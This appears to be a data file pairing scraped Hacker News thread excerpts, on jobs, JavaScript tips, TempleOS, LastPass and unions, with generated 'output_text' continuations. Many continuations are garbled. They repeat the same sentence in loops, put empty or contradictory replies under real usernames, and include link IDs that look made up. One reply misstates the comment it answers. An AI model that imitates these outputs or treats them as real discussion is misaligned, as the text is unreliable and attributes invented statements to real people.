problem. If a\ncompany can't pay its employees market rate, the company has a problem.\n\nI pretty firmly believe that if money is tight at a company, paying fewer\npeople more money (and setting higher expectations around performance) is the\nway to go. Otherwise you end up with top talent leaving and those left feel\nentitled to not give 100% (because they aren't being paid 100%).\n\n------\nbenjaminwootton\nPosting this with the company name is a little indiscreet.\n\nIf it was my company and I was having a bump in the road with funding I would\nhope for it not to immediately hit the front page of HN for the sake of a few\nweeks.\n\nSoundcloud actually have a good reputation as an employer so maybe they\ndeserve a small benefit of the doubt? I get the mercenary attitude but it's\nonly potentially a few weeks or months for an incremental pay rise, not as if\nthey are going under....\n\nI suspect this won't be a popular point of view but I like to think company\nand employee owe each other at least a modicum of loyalty.\n\n~~~\n_e\nThe OP is anonymous. Are there any other SoundCloud employees willing to stand\nup and confirm these accusations?\n\n~~~\nbabo\nThat would make it even worse.\n\n------\nviraptor\nYou don't lose anything by starting to look at alternatives. You don't have to\ndo that full time either. But if you're uncertain about the future, while\nstill holding a paying job, this is"} +{"output_text": ".)\n\n~~~\nalgolicious\nI'm not sure I agree with your assessment. I think the karma system is\nprimarily used to reward developers for good work. I don't think it's used to\npunish developers for bad work.\n\n~~~\nnbm\nI think you're right. I think the karma system is primarily used to reward\ndevelopers for good work. I don't think it's used to punish developers for\nbad work.\n", "input_text": "ly large that savings of even 1% are praiseworthy. Quite a bit of\neffort is expended to keep this going down and to the right (at least some of\nthe time).\n\n------\nalgolicious\n_Facebook's testing practices and culture of developer accountability help to\nprevent serious bugs from being rolled out in production code. When a\ndeveloper's code disrupts the website and necessitates a post-deployment fix,\nthe incident is tracked and factored into Facebook's assessment of the\ndeveloper's job performance.\n\n[...]\n\nEmployees with low karma can regain their lost points over time by performing\nwell\u2014though some also try to help their odds by bringing Rossi goodies. Booze\nand cupcakes are Rossi's preferred currency of redemption; the release\nengineering team has an impressive supply of booze on hand, some of which was\nsupplied by developers looking to restore their tarnished karma._\n\nThis sounds like Facebook strongly rewards developers who work on trivial,\nlow-risk features rather than larger, more important features. Also, it sounds\nlike bribery factors into your overall job performance rating.\n\n~~~\nnbm\nPush karma primarily affects how likely the release engineering team will\naccept any breaking of the standard rules of getting your code into the push.\nIt generally doesn't drop if you are responsive and responsible for any\nproblems your change causes. The only way to restore points is to show respect\nand consideration for the hard work the release engineering team does.\n\n(I'm not 100% sure, but I think most of the booze and cupcakes come from\npeople who were appreciative of the release engineering team for bringing\npotential issues to their attention or for being accommodating in terms of\nhours and in terms of delay to get things fixed"} +{"output_text": ". only)\n\nPhaxio is a small, profitable, and rapidly growing company that is looking to\nadd a few more people to our team. We are a small team of developers,\ndesigners, and product managers who are passionate about building great\nproducts. We are looking for a few more people to join our team.\n\nWe are looking for:\n\n* Full-stack developers (Ruby on Rails, Javascript, HTML, CSS)\n\n* Front-end", "input_text": ") a link to your profile on LinkedIn.\n\n------\nbillytetrud\nTechincal Cofounder | San Francisco Bay Area, CA | Tixit | Full Time or Half\nTime | Equity: 10-20% | REMOTE welcome\n\nI'm Billy Tetrud, the Founder of Tixit. We're a small (9 person) team building\na lightening fast extensible project management system. We're looking for a\n2nd technical cofounder to accelerate the development of our product. You'd be\nworking with me (the other technical cofounder) in designing and implementing\nthe core backend as well the web frontend. We value our test-driven\ndevelopment, clear internal and external documentation, and doing things right\nto build and maintain momentum. Our stack is node.js and mongodb. I'm happy to\nchat with you over the phone or skype about what we're doing. We're just about\nto announce our public beta this month.\n\nEmail me at billy@tixit.me and mention you're from HN, I'd love to hear what\nyou've been working on.\n\nCheck out more info about us at\n[https://angel.co/tixit-1](https://angel.co/tixit-1) and more info about the\nposition at [https://angel.co/tixit-1/jobs/114395-technical-co-\nfounder](https://angel.co/tixit-1/jobs/114395-technical-co-founder)\n\nThanks, Billy Tetrud, Founder at Tixit, billy@tixit.me\n\n------\nrabidonrails\nPhaxio | Chicago | Full-time | REMOTE OK (U.S"} +{"output_text": "least one bot that was able to recognize that the prime numbers are a\nsequence, and that's it.\n\nI think the algorithm is a good idea, but it's not there yet.\n\n~~~\njoshuamorton\nI think the algorithm is a good idea, but it's not there yet.\n\nI think it's a good idea to have a bot that can understand humor, but I think\nit's a bad idea to have a bot that can understand", "input_text": " /r/jokes\n([https://www.reddit.com/r/SubSimulatorGPT2/comments/d055mt/a_...](https://www.reddit.com/r/SubSimulatorGPT2/comments/d055mt/a_guy_is_having_a_hard_time_with_his_wifes/?utm_source=share&utm_medium=web2x)\n) or /r/math\n([https://www.reddit.com/r/SubSimulatorGPT2/comments/d1yz1e/ho...](https://www.reddit.com/r/SubSimulatorGPT2/comments/d1yz1e/how_exactly_does_the_number_1_not_equal_2/)\n) the algorithm is definitely unable to deal with deeper structure right now.\nThe /r/jokes bot is humorous in its complete lack of humor, I mean, well\nbeyond any sarcastic snark about how unfunny /r/jokes may be. It has the\nstructure of jokes. There was one recent one that even asked \"What's a\npirate's favorite letter?\", and the bot had noticed the answer was being given\nin the form of letters, but I don't think a single instance of the bot\nproposed \"r\". But it does not understand humor in the _slightest_. Of the\nseveral dozen attempts at jokes I've at least skimmed, I believe it only\nachieved something that was at least recognizable as an attempt at humor once,\nand it still wasn't that funny. Likewise math. It's got a good idea there's\nthese \"prime number\" things and they're pretty important, but I've seen at\n"} +{"output_text": " good article on the topic:\n[http://www.gamasutra.com/view/news/182943/The_Games_Industry...](http://www.gamasutra.com/view/news/182943/The_Games_Industry_Union_and_the_Future_of_Work.php)\n\n------\njoshu\nI'm not sure I understand the point of this article.\n\nThe author", "input_text": "\nAlso, payment is just one of many issues in a workplace. The basic need for a\nunion is that the company's owners have the mechanisms for thinking,\ndiscussing, deciding acting collectively and concertedly, but its employees do\nnot. That's what a union should be.\n\nOn that basis, employees may want to tackle issues like:\n\n* Treatment by managers/management * Workplace culture * Physical working conditions * Workforce size vs. \"squeezing\" of existing employees * Advancement opportunities within the company/organization * Professional standards\n\nand so on.\n\nFinally, remember that a gaming development house has a lot of employees other\nthan developers per se: QA, art, production, administrative etc.\n\n> Nowadays people mostly crunch... or because they are paid OT.\n\nIf people make a good salary, they don't work overtime because they don't need\nto. There must be some kind of psychological pressure in that direction.\nOverwork should be avoided.\n\n\\- who have joint interests and may wish to discuss things, take decisions,\nand act collect\n\n~~~\npandaman\nI am not discussing whatever reasons you envisioned for unionization of our\nindustry from the outside. I am just noting where the unionization effort is\nactually coming from. Pardon my cynicism, but I don't believe the big union\ncare about anything other than payment, which drives their fees. Otherwise, as\nI said, they would had been pushing in retail with, at least, same effort as\nthey do in the games industry.\n\n>If people make a good salary, they don't work overtime because they don't\nneed to.\n\nSure, they don't need to but, nevertheless, they like their fat bonuses.\n\n------\nlbotos\nHere is a"} +{"output_text": " of the experience you will be fine.\n\nI've been through the process a few times and it's not that bad.\n\nThe worst part is the waiting, the waiting is the worst part.\n\n------\njoshu\nI've been through the process a few times. It's not that bad.\n\nThe worst part is the waiting.\n\n------\njoshu\nI've been through the process a few times. It's not that bad.\n", "input_text": "'s Linux Kernel Development and see what you\nthink. It sounds like you're going for something much lighter, so maybe\nsomething along the lines of the \"Little Book on Coffeescript?\"\n\n------\nktf\nDidn't even have to think about this one: _Eloquent Javascript_, by Marijn\nHaverbeke. He's an amazing writer and a brilliant all-around guy. Technically\nit's geared toward new programmers, but it's worth a read at pretty much any\nlevel.\n\nYou can find it free online here:\n[https://eloquentjavascript.net/](https://eloquentjavascript.net/) or buy a\nprint version here: [http://nostarch.com/ejs](http://nostarch.com/ejs).\n\n(Full disclosure: I'm listed as the editor on the print version, though in\nthis case my job basically consisted of nodding as chapters came in and\nsaying, \"Yup, that's a damn good book.\")\n\n------\nLocalMan\nProgramming Pearls: [http://netlib.bell-\nlabs.com/cm/cs/pearls/](http://netlib.bell-labs.com/cm/cs/pearls/)\n\nBest Software Writing:\n[http://www.joelonsoftware.com/articles/BestSoftwareWriting.h...](http://www.joelonsoftware.com/articles/BestSoftwareWriting.html)\n\nLast resort: Bring a sleeping pill and sleep through the flight.\n\n \nAnother awesome US immigration experience - nphase\nhttp://seldo.tumblr.com/post/39891584034/another-awesome-us-immigration-experience\n======\njacquesm\nAs long as you feel the benefits"} +{"output_text": "\nI have a few projects that I am working on that I would like to finish but\nthey are not as interesting as the ones I am working on now.\n\nI have a few projects that I am working on that I would like to finish but\nthey are not as interesting as the ones I am working on now.\n\nI have a few projects that I am working on that I would like to finish but\nthey are not as interesting as the ones I am working on now", "input_text": " and\npersonality that I feel programming balances it out. Also, since I'm still\npretty new to this, software feels like a new frontier with loads of\npossibilities. I get this feeling of there being gold at the end of every\ntunnel of knowledge.\n\n------\nekr\nI don't think you can get useful answers or of this thread simply because most\nhumans don't have metacognitive introspective awareness; it's not something we\nevolved to have, in fact it is something that would bring negative\nreproductive fitness, given that the brain has mechanisms to actually hide the\nroot motivation for our urges.\n\nThe best way would be to study the neuroscience of human motivation. There's a\nspecific brain circuit involved. But from another perspective, we do what we\ndo to fulfill various needs, mostly security and belonging. That can result in\nthings as complex as status games.\n\nThings are a lot more complex than that, if you consider the evolutionary\nhistory of the brain stem, limbic system and the cortex, each newer system is\nable to override the older one, resulting in completely different behaviour.\n\n------\nburntoutfire\nMake money -> retire. Should achieve it in a about a year from now, a bit\nunder forties. The project is relatively undemanding if you know how to deal\nwith the stress of corporate misery (nothing works as it should, the\nrequirements are shit etc.). After that, who knows, make an indie game? The\nunderlying goal is to strive for mastery, autonomy and balance in life, none\nof which I think I can achieve while in a career.\n\n------\naustincheney\nI love building things and software pays more than carpentry, so there I love\nwriting software and do so full time.\n"} +{"output_text": " has a central\ngovernment that can just decide to stop building roads, or stop building\nfactories, or stop building schools, or stop building hospitals, etc. etc.).\n\n------\njoshu\nI'm not sure I agree with the conclusion.\n\nI think the problem is that the Chinese government is not very good at\nallocating resources.\n\nI think the government is very good at allocating resources to the military.\n\nI think the government is very good", "input_text": "\n[http://embedded.com/columns/technicalinsights/205918952?prin...](http://embedded.com/columns/technicalinsights/205918952?printable=true)\n\n~~~\nambition\nIt's generally preferred to submit the print link in the first place when\navailable. So, yes, it's cool here on HN.\n\n------\nnazgulnarsil\nbeyond the aforementioned embarrassingly parallel problems I don't think we'll\nsee much performance increase once we reach the point where each app/process\nis running on its own core.\n\n~~~\nJulianMorrison\nOn my Linux machine, not even a server but just a desktop, there are 111\nrunning processes. There's room for growth in multi-core yet.\n\n~~~\nwmf\nDon't you mean there are 111 sleeping processes? It's unlikely that a desktop\nwould have so many runnable processes.\n\n~~~\nJulianMorrison\nAh, my use of \"running\" was misleading. That's just a crude line count of the\n\"ps ax\" listing. (And I probably counted the header line - d'oh!) Yes, most\nare sleeping.\n\n \n\nThe End of China\u2019s Economic Miracle? - tokenadult\nhttp://online.wsj.com/articles/the-end-of-chinas-economic-miracle-1416592910\n\n======\ncalebreed\nInteresting article, thanks for posting! While I agree that there has been\nover-extension with regards to infrastructure development especially in\nresidential housing, one thing I think we should remember is the power the\ncentral government in China holds to change course when necessary, even when a\ncrisis has not yet occurred (imagine living in a country that"} +{"output_text": " hard.\n\nI'm not saying that Gab is a good thing, but I'm curious about the\nconsequences of this.\n\n~~~\njstanley\n> What's interesting about Gab is that it wasn't content hosting on another\n> platform (Facebook/Twitter). It was their own platform, that people wrote\n> and built.\n\nThat's not what I said. I said that it was a platform that people _used_ , not\nthat it was a", "input_text": " as liberal democracies have\nexisted (others have brought up Popper, but Popper cribbed the idea from\nImmanuel Kant). There's no conditioning going on.\n\n------\njstanley\n> Does this mean that if Zerohedge, or Black Lives Matter, two of our clients\n> from opposite ends of the political spectrum, post something, or even if one\n> of their users posts something, that is beyond the pale, then we have to\n> worry about having our finances cut off?\n\n> I know as \u201cthe DNS guys\u201d we have a near pathological aversion to single-\n> points-of-failure, but it\u2019s not a stretch to come to the conclusion for any\n> business that it\u2019s not an acceptable risk to have that possibility just\n> looming there and to do nothing about it.\n\n> That means we will now be looking for backup payment processors.\n\nFWIW, this is _exactly_ what Bitcoin does well: uncensorable payments with no\nsingle points of failure. And, by way of anecdata, I currently pay for domain\nnames in Bitcoin already (from gandi).\n\nPeople buying domain names are probably one of the best demographics to have\nif you want to take Bitcoin as they are likely to be technically savvy.\n\n------\ndjsumdog\nWhat's interested about Gab is that it wasn't content hosting on another\nplatform (Facebook/Twitter). It was their own platform, that people wrote and\nbuilt.\n\nWhat if you run a Plemore/Mastodon server that has users with controversial\ncontent? Is it okay for Vultr or DigitalOcean or Amazon to just yank your\naccount? Sure you can claim capitalism and find another provider, but we've\nseen here that finding another provider is"} +{"output_text": "\njason_slack\nSlack | San Francisco, CA | Full-time | ONSITE\n\nSlack is hiring! We are looking for a few engineers to join our team.\n\nWe are looking for:\n\n* Senior Backend Engineer\n\n* Senior Frontend Engineer\n\n* Senior Full-Stack Engineer\n\n* Senior Mobile Engineer\n\n* Senior Product Designer\n\n* Senior Product Manager\n\n* Senior QA Engineer\n\n* Senior", "input_text": ", Qt, and C++.\n\nInterview process: Intro over skype -> Phone screen -> Onsite interview ->\nOffer.\n\nSend email to jobs@eyenuk.com to apply (US-based candidates; H1b or OPT ok).\n\n------\nahstilde\nStockpile | Palo Alto, CA | Full-time | ONSITE\n\nStockpile\u2019s mission is to democratize stock ownership. We built our own\nfractional trading platform to break down the barriers to stock ownership and\nhave partnered with Fortune 500 companies to make the stock market accessible\nto everyone in simple ways \u2014 like a physical or digital gift card. We\u2019re also\npartnering with nonprofits to promote financial literacy and empowerment so\nanyone around the world, of any age or income level, can invest for their\nfuture.\n\nWe're backed by Sequoia Capital, Mayfield, and Ashton Kutcher.\n\nBased in Palo Alto, CA, Stockpile's engineering team is growing fast, and\nwe're hiring front-end, back-end, and full-stack devs. Our tech stack is a\nJava backend with Angular front-end and React Native for mobile. There's some\nNodeJS and Ruby sprinkled into the microservices, too. The team values work-\nlife balance and camraderie. Perks of working at Stockpile include catered\nbreakfast and lunch, great snacks, flexible leave, and an incredible insurance\npackage.\n\nView our open positions at\n[https://jobs.lever.co/stockpile](https://jobs.lever.co/stockpile)\n\nYou can apply through there, or email me (full-stack engineer)\naakash(AT)stockpile.com\n\n------"} +{"output_text": ".com/item?id=7938173)\n\n~~~\njashkenas\nI'm not sure I agree with that.\n\nThe `some` method is a \"short-circuiting\" function, which means that it will\nstop iterating as soon as it finds a value that is truthy.\n\nIf you want to iterate over an array, and stop as soon as you find a truthy\nvalue, you can use `some`.\n", "input_text": " same as the\nclosure. If something still references an object then GC will not touch it.\n\nSimilarly for the event listeners advice, which is also badly worded.\n\nAnd if you do need to write a timeout-based loop, I respectfully suggest the\nfollowing construct:\n\n \n \n const interval = 1000;\n var timer;\n \n (function loop () {\n ... do stuff...\n timer = setTimeout(loop, interval);\n }());\n \n\nNow you can even use \"rewire\" to control the interval during your unit tests -\nbonus!\n\nThe Arrays vs Objects thing is just shallow. In reality, the advice is \"it\ndepends\". If you need to iterate, use an Array. If you need to access by key,\nuse an Object (or better a Map). If you need both (and this frequently happens\nin my experience) then you have to decide depending on the size of your\nstructure.\n\n~~~\nsheetjs\n> It also has no \"break\" functionality, which is important if we are talking\n> about performance (i.e. when iterating the array to find a specific member).\n\nThe article is woefully misinformed regarding `forEach` and I agree that the\narray methods in general are slower [1], but `some` will bail out on the first\ntrue value returned. To be sure:\n\n \n \n [1,2,3,4,5].some(function(n) { console.log(n); return n>=2; });\n \n\nwill not run the callback function after processing the 2\n\n[1]\n[https://news.ycombinator.com/item?id=7938173](https://news.ycombinator"} +{"output_text": " a class be better than\nusing a function?\n\n~~~\nSawamara\nI don't think so. The main reason is that functions are first class citizens\nin JavaScript, so you can pass them around and use them as arguments.\n\n~~~\nLord_Zero\nI see. Thanks for the clarification.\n\n------\njoshuamorton\nI'm not sure I agree with the \"use a class\" advice. I think it's a good idea\n", "input_text": " feel like these \"N performance tips\" make it onto the main page mostly\nbecause of the commenters coming up with counterpoints to each \"tip\".\n\n~~~\niaml\nReal performance tips are always in comments!\n\n------\ncmollis\nPromise.all vs sequential awaits is a good tip but Only if the results of the\nawaits are independent (obvious). I see that all the time. It\u2019s easier to see\nhow inefficient that is when you\u2019re chaining.then().. await hides that and\ngives the impression that it\u2019s parallel.\n\n------\nmulrian\n_Second point is, global variables are not cleared by the garbage collector.\nSo if you continuously add more and more global variables (which are not of\nfuture use), it will cause a memory leak._\n\nErrr...\n\n~~~\nSkinney\nIt's an easy thing to do in JS, it happens if you forget the `var`.\n\n~~~\nKlathmon\nonly when not in strict mode, which is becoming more and more rare, especially\nin javascript codebases (as opposed to one-off scripts)\n\n------\naforty\nWhat if I specifid the `global` scope, like `global.SOME_VAR`? Will that skip\nthe expensive search of the parent nodes?\n\n~~~\nSawamara\nIt cannot. It still has to check whether there is a local variable in any\nother scope that is above the one currently being executed, all the way to the\ntop where it finds global.\n\nSame with window in a browser context. You could still have a \"window\"\nvariable placed between your execution context and the global context.\n\n------\nLord_Zero\n\"Create class for similar kind of objects\" would using"} +{"output_text": " rights.\n\n[1]\n[https://www.youtube.com/watch?v=9Z1_9Z9Z9YQ](https://www.youtube.com/watch?v=9Z1_9Z9Z9YQ)\n\n[2] [https://www.royalty-exchange.com/](https://www.royalty-exchange.com/)\n\n~~~\njessaustin\n_Music in the form of", "input_text": " as art?\n\nJust because she is referred to as an artist by an industry attempting to\nprofit from her production does not defacto her as such. Perhaps Taylor is\njust a shrewd business person who has a natural understanding of what has\nstrong social appeal. What if she openly admit that was her intent? Would you\nstill call her an artist? I would not, and I imagine a great many others\nwouldn't either. There is a lot to being an artist and this automatic labeling\nis misleading and perhaps, if you are extra paranoid, nefarious in intent.\n\n------\n7Figures2Commas\n> Music is art, and art is important and rare. Important, rare things are\n> valuable. Valuable things should be paid for. It's my opinion that music\n> should not be free, and my prediction is that individual artists and their\n> labels will someday decide what an album's price point is. I hope they don't\n> underestimate themselves or undervalue their art.\n\nMusic in the form of a physical or digital copy of a recorded track is not\nrare. Album pricing is based on supply and demand. The latter has decreased\nsignificantly in the past decade. Short of pulling a Wu-Tang[1], it would be\nfutile for artists to try to fight market forces.\n\nIf Swift really wants to discuss the value of music in the context of music as\nan important, rare art form, focusing on what consumers pay for physical and\ndigital copies of recorded music makes about as much sense as valuing Monet's\nWater Lilies series based on how much Water Lilies posters sell for.\n\nThere are several rights associated with music and people have been buying and\nselling these rights for decades. Royalty Exchange[2] is an online marketplace\nfor these"} +{"output_text": "> Email was not meant to be abusef this way, and I have seen first hand how\n> it can be used against people so I have chosen it as my figurative \"hill to\n> die on\".\n\nI don't think you've seen first hand how it can be used against people. I\nthink you've seen first hand how it can be used against people who don't know\nhow to use it properly.\n\n~~~\nbadrabbit\nI have seen", "input_text": "\nemail is not and will never be required to sign up or use a feature.\n\nI'm not trying to play the devils advocate here, just genuinely curious: Why\ndo you (or anyone else) have such a strong opinion on not using emails for\nsigning up? Usually, when a service requires me to enter an email, I have no\nissue with using a service like 10minutemail and never checking that email\naccount again.\n\n~~~\nbadrabbit\nI have spoken about this many times on HN. It comes down to this: email is\nbeing used in many nefarious ways and it is an ancient protocol with many\ninsecurities. Anonymous email works for a bit but then every service worth\nusing starts banning the providers. Both reddit and HN prospered as a result\nof not requiring email, that should tell you a lot about how horrible it is.\nIt's on the same level as social security numbers being used as a secure\nsecret that identifies a person. Email was not meant to be abusef this way,\nand I have seen first hand how it can be used against people so I have chosen\nit as my figurative \"hill to die on\".\n\nNow, if I can give a limited use address that cant be tied to me as an\nindividual,expires after a period of time and messages are E2EE encrypted with\nno metadata leakage I don't mind that.\n\nI have spent almost an entire day trying to sign up to one service withour\nhaving to give up my phone number,real IP,creditcard or real email address to\nanyone as a challenge. I have tried countless anonymous email providers and\nsms code receiving services. I failed. Email abd phone number collection is a\nmodern tech evil for me.\n\n~~~\njudge2020\n"} +{"output_text": ", I get motivated\nto write code.\n\nI'm not sure if it's the content or the fact that I'm not alone in my\nmotivation.\n\n~~~\njimmygrapes\nI think it's the content.\n\n------\njimmygrapes\nI'm not sure if this is a good idea. I think it's a good idea to have a\ncommunity of people who are interested in programming, but I don't think it", "input_text": "\nKeeping the pedos and other bad actors out is probably impossible, instead\nsociety and parenting should focus on educating children on the dangers and\nmitigation.\n\nTeach them not to give out personal information, not to send pictures they\nwouldn't want the whole world to see and not to be too trusting and they\nshould be good. If they follow those rules, this kind of exploring and\ncreation of (youth) culture is actually safer than anything that happens irl.\n\nWhatever happened to Second Life, where all of this should be possible without\nfighting censorship?\n\n~~~\nbitwize\n> This is absolutely beautiful. It sounds like the vibrant, lawless\n> communities no longer found on 4chan and obscure forums that are now dead.\n\nLeaving aside the fact that a lack of strict moderation where kids congregate\nis a virtual smorgasbord for pedophiles, remember that the \"vibrant, lawless\ncommunity\" of 4chan and the like gave rise to a right-wing movement powerful\nenough to put Trump into office. It was Marcuse's repressive tolerance being\nplayed out before our eyes.\n\nAn increasingly censored and regulated internet is inevitable, _for the good\nof civilization_.\n\n~~~\njimmygrapes\nI am sure this goes against HN rules, but I found your comment particularly\ndisgusting. Just wanted you to know.\n\n \nMega Man for TempleOS - robertelder\nhttps://github.com/tramplersheikhs/megaman\n======\nLVB\nWhenever I watch one of Terry's videos, I get highly motivated to program. Not\nread a blog post comparing frameworks, or a debate about some programming\nidiom, or even designing some larger project. But literally"} +{"output_text": " [https://en.wikipedia.org/wiki/Holy_C](https://en.wikipedia.org/wiki/Holy_C)\n\n~~~\nfiatjaf\nI know what it means, but I don't understand the pun.\n\n~~~\nwolfgke\n> I know what it means, but I don't understand the pun.\n\nThe pun is that the name of the language is \"HolyC\".\n\n~~~\nfiatjaf\n", "input_text": " lightweight operating system created over the span of a decade\nby the American programmer Terry A. Davis. The software is a x86-64 bit,\nmulti-tasking, multi-cored, public domain, open source, ring-0-only, single\naddress space, non-networked, PC operating system for recreational\nprogramming.[3] The operating system was designed to be the Third Temple\naccording to Davis and uses an interface similar to a mixture of DOS and Turbo\nC. Davis describes the operating system as a modern x86-64 Commodore 64 with C\nin place of BASIC.\n\n~~~\ncorndoge\nI'll bite.\n\nWhy did you paste a paragraph from the Wikipedia article?\n\n~~~\ntracker1\nBecause many people will have no idea what TempleOS is from the link, or the\ndemo video on the GH page.\n\n~~~\ncorndoge\nBut if they are reading HN, surely they know how to use Google and Wikipedia\nand could acquire this information in seconds?\n\n~~~\nlargeprime\nas an incredibly lazy person i found it to be helpful\n\n~~~\nudkl\nYou logged out, signed up for a temp account and then logged back in - just to\npost this comment. That IS incredibly lazy ;)\n\n~~~\nrangibaby\nHe probably doesn't want to be on record saying that he is lazy\n\n~~~\nudkl\nIs that you there, Mr Obvious?\n\n------\nfiatjaf\nI find TemploOS a pretty normal name, but HolyC is an amazing name for a\nlanguage. I always laugh when I see it.\n\n~~~\nwolfgke\n> but HolyC is an amazing name for a language\n\nFor those who don't understand the pun:\n\n>\n>"} +{"output_text": ",\nthan a physical creation.\n\n~~~\njlgreco\n> _MIT's network is a private network and they have complete authority over\n> who gets to access it, in a legal sense and a moral sense._\n\nI don't think that is true. MIT has a contract with the US government to\nprovide a certain level of service to the US government. The US government\nhas a contract with the US people to provide a certain level of service to the\n", "input_text": " browser, and don't\nyou dare do so if you ever suggested that those articles should be shared\nfreely on the Internet, or else you'll face a long and expensive prosecution\nby the US government.\n\n~~~\nrayiner\n> I am not really seeing the moral argument there. MIT's network is designed\n> to be open; a ban on a MAC address is, on such a network, little more than a\n> polite request to not continue your access.\n\nMIT's network is a private network and they have complete authority over who\ngets to access it, in a legal sense and a moral sense. It's their prerogative\nto extend access to anyone except specifically chosen people. In our society,\nwe do not treat \"get off our lawn\" and the equivalent as a \"polite request.\"\nWe treat it as an enforceable demand.\n\n> How conservative of you.\n\nYes. We live in a society of rules and borders and boundaries. We like those\nthings, so much that we often enforce them with guns (and cheer on those who\ndo). It is not your prerogative to flout them as you please, but your burden\nto convince us which of those boundaries are unnecessary so we legislate\naccordingly.\n\n> What gives JSTOR the moral right to tell anyone what they are allowed to do\n> with the articles JSTOR provides to them?\n\nJSTOR at the very least has a moral right to control how he used their private\nservice to download the articles.\n\n> copyrights are in no way related to modern senses of morality or justice\n\nI disagree. I think most people believe that creators are entitled to control\nthe distribution of their work. I think the prevailing mindset is that a\ndigital creation should not be treated differently, for ownership purposes"} +{"output_text": "ms to 0.5ms._\n\nI don't know if this is a good thing or not.\n\n~~~\nsa46\n> I don't know if this is a good thing or not.\n\nI think it's a good thing.\n\n> I don't know if this is a good thing or not.\n\nI think it's a bad thing.\n\n~~~\na_imho\nI don't know either. I'm just saying that it", "input_text": ", you'd need to\ncompute an aggregate score across a range of common sites.)\n\n~~~\nsa46\n> I have to use LastPass.\n\nI recently switched from LastPass to 1Password because of the added latency\nfrom Lastpass. Lastpass adds about 70ms to first contentful paint on\nexample.com. 1Password, on the other hand, runs after the painting is done so\nit doesn't block rendering. I polished up a blog draft I had lying around\nabout switching to 1Password: [https://joe.schafer.dev/passing-\nlastpass/](https://joe.schafer.dev/passing-lastpass/)\n\n> I'd be much more interested to see how extensions like Evernote or LastPass\n> increase the time it takes for a real webpage (e.g. \"nytimes.com\") to finish\n> painting the viewport not including ads.\n\nI reinstalled Lastpass to test on nytimes.com. It takes 58ms to evaluate\nonloadwff.js (the Lastpass entry point) before any content is rendered.\n\n~~~\nDaiPlusPlus\nI have LastPass, but I keep it in \u201conly activate extension when I click on the\ntoolbar button\u201d.\n\nThe only annoying thing is that LastPass requires the whole page to reload\nfirst - I don\u2019t know why Chrome can\u2019t load an extension into an already-loaded\npage.\n\n------\na_imho\n_Most ad blockers work by blocking certain network requests that are initiated\nby the page. DDG Privacy Essentials reduces the number of network requests by\n95% and the download weight by 80%._\n\n _DuckDuckGo Privacy Essentials reduces the CPU time of the article page from\n31"} +{"output_text": " C#, C++ * Bluetooth, WiFi, GPS,\nAndroid, iOS * Linux, Eclipse, MPLabX, MATLAB, Bitbucket (GIT, Mercurial)\n\nWe offer: * Competitive salary * Flexible working hours * A great team\nenvironment * A modern office in the heart of Heidelberg\n\nIf you are interested, please send your CV and a short introduction to\nanton.y@coboc.de\n\n------\njosh", "input_text": "\n\nPlease include a personal note about your background and interests so we can\nprioritize your application!\n\n~~~\nMarkPNeyer\nThese guys are great! I know a few people on the team and can vouch for the\nculture.\n\n------\njtefera\nHi! Seeing that the search script posted on top just shows the number of jobs\nthat meets certain criteria and not the jobs per se, I decide to build this\nmorning a better search and filtering engine. You can find it here:\n[https://jtefera.com/hn/?url=https://news.ycombinator.com/ite...](https://jtefera.com/hn/?url=https://news.ycombinator.com/item?id=13541679)\n\nHope it helps1 Feedback is welcomed.\n\n------\nanton_y\nCoboc | Embedded Software Engineer C/IoT/E-Bikes | Heidelberg | ONSITE, FULL-\nTIME\n\nWe are developing, producing and selling electric bikes of a new kind. They\nstand out by a award winning design, light weight, unique usability and a\nfully integrated drive system that we develop completely in house including\nmotor control, battery management and bluetooth connectivity. We are selling\nthese for the fourth year now and need support to expand our technological\nlead.\n\nAt coboc you will: * Architect, implement embedded software in C for our\nintegrated drive system * Develop new features in short development cycles\nwith quick product integration * Evaluate new technologies and streamline our\ndevelopment process\n\nTechnology Stack: * Embedded C, Python * Linux, Eclipse, MPLabX, MATLAB,\nBitbucket (GIT, Mercurial) * TDD: Unity,"} +{"output_text": ".\n\n~~~\nneedlepont\nI agree, but I think the point is that the author is not advocating for\nnull-terminated strings.\n\n------\njimktrains2\nI'm not sure why this is on the front page.\n\n~~~\ndang\nIt's a good question. I don't know the answer.\n\n~~~\njimktrains2\nI think it's because it's a good question.\n\n~~~\n", "input_text": "\n~~~\nrussdill\nI'll add that it's really handy for that specific situation as it also avoids\nleaking uninitialized bytes.\n\n------\ndang\nDiscussed at the time:\n[https://news.ycombinator.com/item?id=5491121](https://news.ycombinator.com/item?id=5491121)\n\n------\nkodis\nI'd say \"Stop using C and C++ already\" or \"Stop using null terminated strings\nalready\", but I recognize that those are not always practical solutions.\n\nI do have some maintainability concerns though about the promulgation of\nnumerous competing home-brew solutions to a near trivial problem throughout a\ncode base.\n\n------\nhzhou321\nIf we preset the end of buffer with '\\0' and then assume the buffer having\n1-less capacity, wouldn't it address the strncpy issue?\n\n~~~\nneedlepont\nOf course, but everyone wants to overdo the complexity of the time worn\nsolution. OMG you need to null terminate the string after all the _other_\ngymnastics..gee C sure does suck! Why don't we use _rust|go|c++_ ad-nauseam.\nbzero(buf,sz); / _memset nazis here_ / strncpy(buf,src,sz - 1);\n\n~~~\nbitwize\nIt doesn't make sense to have to null-terminate the string by hand (maybe)\nafter doing a \"safe\" STRING copy. Which means it's easy to forget to do and\nthat's a dangerous wart in the design.\n\nReally, stop using C. To quote Hayao Miyazaki, C was a mistake"} +{"output_text": " a company that is in a death\nspiral.\n\n------\njoshu\nI'm not sure I understand the point of this article.\n\nThe article says that Zynga is a \"giant\" company, but it's not. It's a\n\"giant\" company in the sense that it's a company that has a lot of money.\n\nThe article says that Zynga is a \"giant\" company, but it's not", "input_text": ", Fifa 12...).\n\nSo in other words, Zynga's business model is completely different than EA's.\n\n------\ncrag\nAnd this is what happens when inventors invest in a company they know noting\nabout. This is what happens when you listen to the hype, and the street and\nNOT do your own due diligence. There's a reason why the big banks backed the\nIPO but didn't take a percentage.\n\nWhen it all comes down in flames, (I think it's already begun - if you haven't\ngotten out, get out now) the only saving grace is that the CEO and board will\nbe embattled in court for years. The investors might get a few pennies on the\ndollar.\n\n~~~\nironchef\n\"There's a reason why the big banks backed the IPO but didn't take a\npercentage.\" Morgan stanley has 19 mil shares. Goldman has 2 mil shares. They\nbacked the IPO and took a percentage. Am i misunderstanding your statement?\n\n~~~\nantr\nthey didn't invest cash, they just exercised their green-shoe.\n\n~~~\ncrag\nExactly. They never invested cash. It's all vapor. In other words, both banks\nlose nothing except the promise of future profits.\n\nBoth banks already made their money (and then some) on the IPO and associated\nfees. 